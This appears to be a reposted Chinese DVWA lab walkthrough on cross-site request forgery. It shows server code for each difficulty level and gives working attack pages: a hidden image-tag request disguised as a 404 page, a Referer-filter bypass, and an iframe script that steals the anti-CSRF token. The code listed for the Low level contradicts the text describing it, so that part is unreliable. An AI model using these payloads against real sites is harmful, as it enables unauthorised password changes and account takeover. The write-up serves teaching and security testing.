DVWA之CSRF

CSRF(Cross-site request forgery)

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。在2013年发布的新版OWASP Top 10中,CSRF排名第8。

下面对四种级别的代码进行分析。

Low

服务器端核心代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现= =)。

漏洞利用

1、构造链接

A) 最基础的:

http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

当受害者点击了这个链接,他的密码就会被改成password(这种攻击显得有些拙劣,链接一眼就能看出来是改密码的,而且受害者点了链接之后看到这个页面就会知道自己的密码被篡改了)

需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面。

有人会说,这个链接也太明显了吧,不会有人点的,没错,所以真正攻击场景下,我们需要对链接做一些处理。

B) 我们可以使用短链接来隐藏URL(点击短链接,会自动跳转到真实网站):

http://dwz.cn/****

因为本地搭的环境,服务器域名是ip所以无法生成相应的短链接= =,实际攻击场景下只要目标服务器的域名不是ip,是可以生成相应短链接的。

需要提醒的是,虽然利用了短链接隐藏url,但受害者最终还是会看到密码修改成功的页面,所以这种攻击方法也并不高明。

C) 构造攻击页面

现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示(才不是我租不起服务器= =),就在本地写一个test.html,下面是具体代码。

<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/><h1>404<h1><h2>file not found.<h2>

当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了hack。

Medium

服务器端核心代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = mysql_real_escape_string( $pass_new );
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    mysql_close();
}

?> 

相关函数说明

int eregi(string pattern, string string)

检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。

可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.153.130),希望通过这种机制抵御CSRF攻击。

漏洞利用

过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.153.130)

我们可以将攻击页面命名为192.168.153.130.html(页面被放置在攻击者的服务器里,这里是10.4.253.2)就可以绕过了

下面是Burpsuite的截图

Referer参数完美绕过过滤规则

密码修改成功

High

服务器端核心代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

漏洞利用

要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。

试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。

<script type="text/javascript">    function attack()  {   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;  document.getElementById("transfer").submit();   }</script> <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"></iframe> <body onload="attack()">  <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">   <input type="hidden" name="password_new" value="password">    <input type="hidden" name="password_conf" value="password">   <input type="hidden" name="user_token" value="">  <input type="hidden" name="Change" value="Change">   </form></body>

攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。

然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://192.168.153.130/dvwa/vulnerabilities/csrf,位于服务器192.168.153.130上,而我们的攻击页面位于黑客服务器10.4.253.2上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。

由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器192.168.153.130中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。

这里的Name存在XSS漏洞,于是抓包,改参数,成功弹出token

注入代码如下

Impossible

服务器端核心代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = mysql_real_escape_string( $pass_curr );
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看到,Impossible级别的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。
原帖地址:http://www.freebuf.com/articles/web/118352.html

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 200,527评论 5 470
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 84,314评论 2 377
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 147,535评论 0 332
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,006评论 1 272
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,961评论 5 360
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,220评论 1 277
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,664评论 3 392
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,351评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,481评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,397评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,443评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,123评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,713评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,801评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,010评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,494评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,075评论 2 341

推荐阅读更多精彩内容